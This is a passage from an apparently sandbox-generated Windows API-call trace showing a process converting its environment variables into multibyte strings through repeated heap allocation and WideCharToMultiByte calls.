(HeapHandle=0x810000, Flags=0x8, Size=0x18) returned 0x827ba0 [0106.658] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LOGONSERVER=\\\\XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x827ba0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LOGONSERVER=\\\\XDUWTFONO", lpUsedDefaultChar=0x0) returned 24 [0106.658] GetLastError () returned 0x0 [0106.659] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833250) returned 0x30 [0106.659] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833250, Size=0x34) returned 0x833250 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0106.659] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x17) returned 0x827bc0 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="NUMBER_OF_PROCESSORS=1", cchWideChar=-1, lpMultiByteStr=0x827bc0, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NUMBER_OF_PROCESSORS=1", lpUsedDefaultChar=0x0) returned 23 [0106.659] GetLastError () returned 0x0 [0106.659] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833250) returned 0x34 [0106.659] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833250, Size=0x38) returned 0x833250 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0106.659] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xe) returned 0x830c80 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="OS=Windows_NT", cchWideChar=-1, lpMultiByteStr=0x830c80, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OS=Windows_NT", lpUsedDefaultChar=0x0) returned 14 [0106.659] GetLastError () returned 0x0 [0106.659] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833250) returned 0x38 [0106.659] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833250, Size=0x3c) returned 0x833250 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 105 [0106.659] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x69) returned 0x833298 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", cchWideChar=-1, lpMultiByteStr=0x833298, cbMultiByte=105, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Path=C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpUsedDefaultChar=0x0) returned 105 [0106.659] GetLastError () returned 0x0 [0106.659] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833250) returned 0x3c [0106.659] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833250, Size=0x40) returned 0x833250 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0106.659] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x3e) returned 0x825b30 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", cchWideChar=-1, lpMultiByteStr=0x825b30, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", lpUsedDefaultChar=0x0) returned 62 [0106.659] GetLastError () returned 0x0 [0106.659] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833250) returned 0x40 [0106.659] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833250, Size=0x44) returned 0x833310 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0106.659] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1b) returned 0x831508 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITECTURE=x86", cchWideChar=-1, lpMultiByteStr=0x831508, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITECTURE=x86", lpUsedDefaultChar=0x0) returned 27 [0106.659] GetLastError () returned 0x0 [0106.659] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x44 [0106.659] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x48) returned 0x833310 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0106.659] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1d) returned 0x831530 [0106.659] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_ARCHITEW6432=AMD64", cchWideChar=-1, lpMultiByteStr=0x831530, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_ARCHITEW6432=AMD64", lpUsedDefaultChar=0x0) returned 29 [0106.659] GetLastError () returned 0x0 [0106.659] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x48 [0106.659] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x4c) returned 0x833310 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0106.660] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x48) returned 0x8293a0 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", cchWideChar=-1, lpMultiByteStr=0x8293a0, cbMultiByte=72, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 85 Stepping 4, GenuineIntel", lpUsedDefaultChar=0x0) returned 72 [0106.660] GetLastError () returned 0x0 [0106.660] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x4c [0106.660] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x50) returned 0x833310 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.660] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x12) returned 0x827be0 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_LEVEL=6", cchWideChar=-1, lpMultiByteStr=0x827be0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_LEVEL=6", lpUsedDefaultChar=0x0) returned 18 [0106.660] GetLastError () returned 0x0 [0106.660] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x50 [0106.660] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x54) returned 0x833310 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0106.660] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x18) returned 0x827c00 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PROCESSOR_REVISION=5504", cchWideChar=-1, lpMultiByteStr=0x827c00, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PROCESSOR_REVISION=5504", lpUsedDefaultChar=0x0) returned 24 [0106.660] GetLastError () returned 0x0 [0106.660] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x54 [0106.660] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x58) returned 0x833310 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0106.660] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1b) returned 0x831558 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramData=C:\\ProgramData", cchWideChar=-1, lpMultiByteStr=0x831558, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramData=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 27 [0106.660] GetLastError () returned 0x0 [0106.660] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x58 [0106.660] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x5c) returned 0x833310 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0106.660] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x24) returned 0x82d0e0 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x82d0e0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 36 [0106.660] GetLastError () returned 0x0 [0106.660] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x5c [0106.660] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x60) returned 0x833310 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0106.660] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x29) returned 0x82d7d8 [0106.660] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramFiles(x86)=C:\\Program Files (x86)", cchWideChar=-1, lpMultiByteStr=0x82d7d8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramFiles(x86)=C:\\Program Files (x86)", lpUsedDefaultChar=0x0) returned 41 [0106.660] GetLastError () returned 0x0 [0106.660] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x60 [0106.660] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x64) returned 0x833310 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0106.661] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1e) returned 0x831580 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ProgramW6432=C:\\Program Files", cchWideChar=-1, lpMultiByteStr=0x831580, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ProgramW6432=C:\\Program Files", lpUsedDefaultChar=0x0) returned 30 [0106.661] GetLastError () returned 0x0 [0106.661] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x64 [0106.661] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x68) returned 0x833310 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0106.661] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x41) returned 0x8293f0 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", cchWideChar=-1, lpMultiByteStr=0x8293f0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PSModulePath=C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpUsedDefaultChar=0x0) returned 65 [0106.661] GetLastError () returned 0x0 [0106.661] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x68 [0106.661] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x6c) returned 0x833310 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0106.661] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x17) returned 0x827c20 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PUBLIC=C:\\Users\\Public", cchWideChar=-1, lpMultiByteStr=0x827c20, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PUBLIC=C:\\Users\\Public", lpUsedDefaultChar=0x0) returned 23 [0106.661] GetLastError () returned 0x0 [0106.661] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x6c [0106.661] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x70) returned 0x833310 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SESSIONNAME=Console", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0106.661] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x14) returned 0x827c40 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SESSIONNAME=Console", cchWideChar=-1, lpMultiByteStr=0x827c40, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SESSIONNAME=Console", lpUsedDefaultChar=0x0) returned 20 [0106.661] GetLastError () returned 0x0 [0106.661] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x70 [0106.661] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x74) returned 0x833310 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0106.661] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xf) returned 0x830c98 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemDrive=C:", cchWideChar=-1, lpMultiByteStr=0x830c98, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemDrive=C:", lpUsedDefaultChar=0x0) returned 15 [0106.661] GetLastError () returned 0x0 [0106.661] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x74 [0106.661] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x78) returned 0x833310 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0106.661] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x16) returned 0x827c60 [0106.661] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SystemRoot=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x827c60, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemRoot=C:\\Windows", lpUsedDefaultChar=0x0) returned 22 [0106.661] GetLastError () returned 0x0 [0106.661] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x78 [0106.661] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x7c) returned 0x833310 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0106.662] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2a) returned 0x82d810 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x82d810, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TEMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 42 [0106.662] GetLastError () returned 0x0 [0106.662] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x7c [0106.662] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x80) returned 0x833310 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0106.662] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x29) returned 0x82d848 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", cchWideChar=-1, lpMultiByteStr=0x82d848, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="TMP=C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpUsedDefaultChar=0x0) returned 41 [0106.662] GetLastError () returned 0x0 [0106.662] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x80 [0106.662] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x84) returned 0x833310 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0106.662] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x15) returned 0x827c80 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERDOMAIN=XDUWTFONO", cchWideChar=-1, lpMultiByteStr=0x827c80, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERDOMAIN=XDUWTFONO", lpUsedDefaultChar=0x0) returned 21 [0106.662] GetLastError () returned 0x0 [0106.662] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x84 [0106.662] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x88) returned 0x833310 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0106.662] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x1e) returned 0x8315a8 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERNAME=5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x8315a8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERNAME=5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 30 [0106.662] GetLastError () returned 0x0 [0106.662] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x88 [0106.662] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x8c) returned 0x833310 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0106.662] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x2a) returned 0x82d880 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", cchWideChar=-1, lpMultiByteStr=0x82d880, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="USERPROFILE=C:\\Users\\5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 42 [0106.662] GetLastError () returned 0x0 [0106.662] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x8c [0106.662] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x90) returned 0x833310 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0106.662] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x12) returned 0x827ca0 [0106.662] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windir=C:\\Windows", cchWideChar=-1, lpMultiByteStr=0x827ca0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windir=C:\\Windows", lpUsedDefaultChar=0x0) returned 18 [0106.663] GetLastError () returned 0x0 [0106.663] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x90 [0106.663] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x94) returned 0x833310 [0106.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0106.663] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x18) returned 0x827cc0 [0106.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_flags=3", cchWideChar=-1, lpMultiByteStr=0x827cc0, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_flags=3", lpUsedDefaultChar=0x0) returned 24 [0106.663] GetLastError () returned 0x0 [0106.663] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x94 [0106.663] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x98) returned 0x833310 [0106.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0106.663] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x46) returned 0x829440 [0106.663] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", cchWideChar=-1, lpMultiByteStr=0x829440, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows_tracing_logfile=C:\\BVTBin\\Tests\\installpackage\\csilogfile.log", lpUsedDefaultChar=0x0) returned 70 [0106.663] GetLastError () returned 0x0 [0106.663] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, MemoryPointer=0x833310) returned 0x98 [0106.663] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x833310, Size=0x9c) returned 0x833310 [0106.663] GetLastError () returned 0x0 [0106.663] RtlSizeHeap (HeapHandle=0x810000, Flags=0x0, 